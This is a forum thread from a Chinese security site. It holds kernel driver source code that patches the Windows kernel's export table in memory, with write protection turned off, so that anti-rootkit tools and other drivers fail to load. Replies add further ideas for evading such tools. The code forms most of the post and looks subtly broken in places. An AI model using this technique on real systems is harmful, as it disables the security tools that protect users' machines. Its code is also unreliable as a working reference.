首页
社区
课程
招聘
[原创]利用导出表来禁止一些驱动程序的加载
发表于: 2008-4-5 00:28 15254

[原创]利用导出表来禁止一些驱动程序的加载

2008-4-5 00:28
15254

今天再弄导出表时,发现修改,发现修改ntkrnlpa.exe导入表里AdressOfNames指向的的数组里面的函数名可以达到禁止一些驱动程序加载的目的,比如把PsGetCurrentProcessId改成其他名字,这样一些驱动程序如果想调用这个函数就不成功了,这样驱动程序就加载失败...试了几个anti-rootkit,冰刃等都不能正常运行,,,,呵呵
   代码如下

#include "ntddk.h"
#include "hookiat.h"
#pragma comment(lib,"ntdll.lib")

PVOID GetDriverBaseAdress(char* driverName)
{
        ULONG size,index;
        PULONG buf;
    NTSTATUS status;
        PSYSTEM_MODULE_INFORMATION module;
        PVOID driverAddress=0;

        ZwQuerySystemInformation(SystemModuleInformation,&size, 0, &size);
    if(NULL==(buf = (PULONG)ExAllocatePool(PagedPool, size)))
        {
                DbgPrint("failed alloc memory failed  \n");
                return 0;
        }
    status=ZwQuerySystemInformation(SystemModuleInformation,buf, size , 0);
        if(!NT_SUCCESS( status ))
        {
       DbgPrint("failed  query\n");
           return 0;
        }
    module = (PSYSTEM_MODULE_INFORMATION)(( PULONG )buf + 1);
        for (index = 0; index < *buf; index++)
        if (_stricmp(module[index].ImageName + module[index].ModuleNameOffset, driverName) == 0)  
        {
        driverAddress = module[index].Base;
        DbgPrint("Module found at:%x\n",driverAddress);
        }
        ExFreePool(buf);
        return driverAddress;
}

PVOID CreateMapFileAndReturnBaseAddress(PUNICODE_STRING pDriverName)
{
        HANDLE  hFile;
    HANDLE  hSection;
    char *pszModName;
    PVOID MapFileBaseAddress = NULL;
        SIZE_T size=0;
    IO_STATUS_BLOCK stataus;
    OBJECT_ATTRIBUTES oa ;
   
        InitializeObjectAttributes(
    &oa,
        pDriverName,
    OBJ_CASE_INSENSITIVE,
    0,
    0
    );
    ZwOpenFile(&hFile,
                       FILE_EXECUTE | SYNCHRONIZE,
                       &oa,
                       &stataus,
                       FILE_SHARE_READ,
                       FILE_SYNCHRONOUS_IO_NONALERT);

    oa.ObjectName = 0;
    ZwCreateSection(&hSection,
                                    SECTION_ALL_ACCESS,
                                    &oa,
                                    0,
                                    PAGE_EXECUTE,
                                    SEC_IMAGE,
                                    hFile);
    ZwMapViewOfSection(hSection,
                                       PsGetCurrentProcessId(),
                                       &MapFileBaseAddress,
                                       0,
                                       1024,
                                       0,
                                       &size,
                                       ViewShare,
                                       MEM_TOP_DOWN,
                                       PAGE_READWRITE);
     ZwClose(hFile);
     DbgPrint("baseadress:%x\n",MapFileBaseAddress);
     return MapFileBaseAddress;
       
}       
       
       
        DWORD GetpAddressOfNames(IN PCSTR funName)
{
        HANDLE   hMod;
    PVOID BaseAddress = NULL;
        IMAGE_DOS_HEADER * dosheader;
        IMAGE_OPTIONAL_HEADER * opthdr;
    PIMAGE_EXPORT_DIRECTORY exports;
       
    ULONG addr, i , index ;
        PVOID FuncNameRVA;
    PUCHAR pFuncName = NULL;
        PULONG pAddressOfFunctions,pAddressOfNames,pAddressOfNameOrdinals;
       
        UNICODE_STRING driverName;
    RtlInitUnicodeString(&driverName, L"\\Device\\HarddiskVolume1\\Windows\\System32\\ntkrnlpa.exe");
    BaseAddress=  CreateMapFileAndReturnBaseAddress(&driverName);
    DbgPrint("Map BaseAddress is:%x\n",BaseAddress);
    hMod = BaseAddress;

       
        //定位IMAGE_EXport_DESCRIPTOR pDataEntryAddress是导出表的RAV
        dosheader = (IMAGE_DOS_HEADER *)hMod;
    opthdr =(IMAGE_OPTIONAL_HEADER *) ((BYTE*)hMod+dosheader->e_lfanew+24);
    exports = (PIMAGE_EXPORT_DIRECTORY)((BYTE*)dosheader+ opthdr->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
   
    pAddressOfFunctions=(ULONG*)((BYTE*)hMod+exports->AddressOfFunctions);   
        pAddressOfNames=(ULONG*)((BYTE*)hMod+exports->AddressOfNames);           //指向的函数名称地址表的第一项
        pAddressOfNameOrdinals=(ULONG*)((BYTE*)hMod+exports->AddressOfNameOrdinals); //指向函数名序号表的RVA
    //下面的先别加,编译一下,输出了1483,也就是导出了1483个函数,用Dependency walker查看,也是这个数,那说明我们前面的工作没问题       
    DbgPrint("%\n",exports->NumberOfNames);  

for (i = 0; i < exports->NumberOfNames; i++)
{
pFuncName = (PUCHAR)( (BYTE*)hMod + pAddressOfNames[i]);
if (_stricmp( (char*)pFuncName,funName) == 0)
{

DbgPrint("%s is found !!\n",pFuncName);
break;
}
}

return pAddressOfNames[i];
}

NTSTATUS
MyPsGetCurrentProcessId()

{
        DbgPrint("HOOK_PsGetCurrentProcessId called!\n");
       
}  
       
VOID Unload(PDRIVER_OBJECT DriverObject)
{
       
        DbgPrint("Unload Callled\n");
}

NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING str)
{
        ULONG FuncRav;
    DWORD base = NULL;
    PCSTR myfunName=        "PsGetCurrentProcessId";
   
     base = GetDriverBaseAdress("ntkrnlpa.exe");
    if(NULL==base)
        {
                DbgPrint("base not found");
                return STATUS_SUCCESS;
        }

    DbgPrint("ntoskrnl.exe is found at:%x\n",base);
        FuncRav=GetpAddressOfNames(myfunName);
    DbgPrint("pAddressOfNames[i] is :%x\n",FuncRav);

_asm
        {
                CLI                                       
                MOV        EAX, CR0               
                AND EAX, NOT 10000H
                MOV        CR0, EAX               
        }

        *(PVOID*) ( base + FuncRav ) = MyPsGetCurrentProcessId;
   
        DbgPrint("HOOK SUCESS");
_asm
        {
                MOV        EAX, CR0               
                OR        EAX, 10000H                       
                MOV        CR0, EAX                       
                STI                                       
        }

    DriverObject->DriverUnload = Unload;
        return STATUS_SUCCESS;
}

效果是这样::::


[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

上传的附件:
收藏
免费 7
支持
分享
最新回复 (12)
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
关注。。。。
2008-4-5 01:24
0
雪    币: 709
活跃值: (2420)
能力值: ( LV12,RANK:1010 )
在线值:
发帖
回帖
粉丝
3
L"\\Device\\HarddiskVolume1\\Windows\\System32\\ntkrnlpa.exe");

硬编码啊硬编码啊.

很古老的思路哦~~~

V大说的在系统初始化的时候改下内核模块的名字,一大堆ARK就启动不了啦,原理都是让ARK们在寻找内核的时候出错,或者寻找内核中导出的变量时出错.

不过部分ARK不是调用MmGetSystemRoutineAddress,而是自己加载内核文件,分析重定位后得到正确的函数(变量)地址.这样你的方法就不起作用咯,呵呵呵呵呵呵呵呵呵呵呵呵~~~~
2008-4-5 08:36
0
雪    币: 581
活跃值: (149)
能力值: ( LV12,RANK:600 )
在线值:
发帖
回帖
粉丝
4
我学这东西比较晚,,,什么对我来说都是新鲜的....
2008-4-5 08:44
0
雪    币: 709
活跃值: (2420)
能力值: ( LV12,RANK:1010 )
在线值:
发帖
回帖
粉丝
5
学东西晚没关系啊,只要学习的快就行了。

这样说来,你我都是学内核几个月,一起进步嘛~~

不过我以后没时间学内核了,而你还可以一直学, 很羡慕你哦~~~~

哈哈哈哈啊哈后~~~~
2008-4-5 09:00
0
雪    币: 206
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
FSD hook,在IRP里做手脚,然后,嘿嘿
mj说过,对那种乖乖读取文件然后得到正确地址的乖娃娃,还是有很多办法的
2008-4-5 14:31
0
雪    币: 321
活跃值: (271)
能力值: ( LV13,RANK:1050 )
在线值:
发帖
回帖
粉丝
7
好文,支持。最好把代码附件放上。
2008-4-5 14:48
0
雪    币: 119
活跃值: (298)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
L"\\Device\\HarddiskVolume1\\Windows\\System32\\ntkrnlpa.exe");

硬编码啊硬编码啊!

挑骨头之嫌 来个响亮的声音啊!
2008-4-5 20:51
0
雪    币: 581
活跃值: (149)
能力值: ( LV12,RANK:600 )
在线值:
发帖
回帖
粉丝
9
.L"\\Device\\HarddiskVolume1\\Windows\\System32\\ntkrnlpa.exe")在我机器里的确是这样...我是双核的.,,,主要是测试用.,...
2008-4-5 20:59
0
雪    币: 709
活跃值: (2420)
能力值: ( LV12,RANK:1010 )
在线值:
发帖
回帖
粉丝
10
挑骨头?

我说的是事实,什么挑骨头?

脑子有毛病?
2008-4-5 23:20
0
雪    币: 581
活跃值: (149)
能力值: ( LV12,RANK:600 )
在线值:
发帖
回帖
粉丝
11
sudami 说的是对的....如果是单核的应该是ntoskrnl.exe
大家就是讨论学习嘛嘛
2008-4-5 23:28
0
雪    币: 202
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
我想楼主可能为了简化吧.
2008-6-6 08:20
0
雪    币: 8835
活跃值: (2404)
能力值: ( LV12,RANK:760 )
在线值:
发帖
回帖
粉丝
13
自己带着文件,自带文件和符号表。
2008-6-6 09:27
0
游客
登录 | 注册 方可回帖
返回
//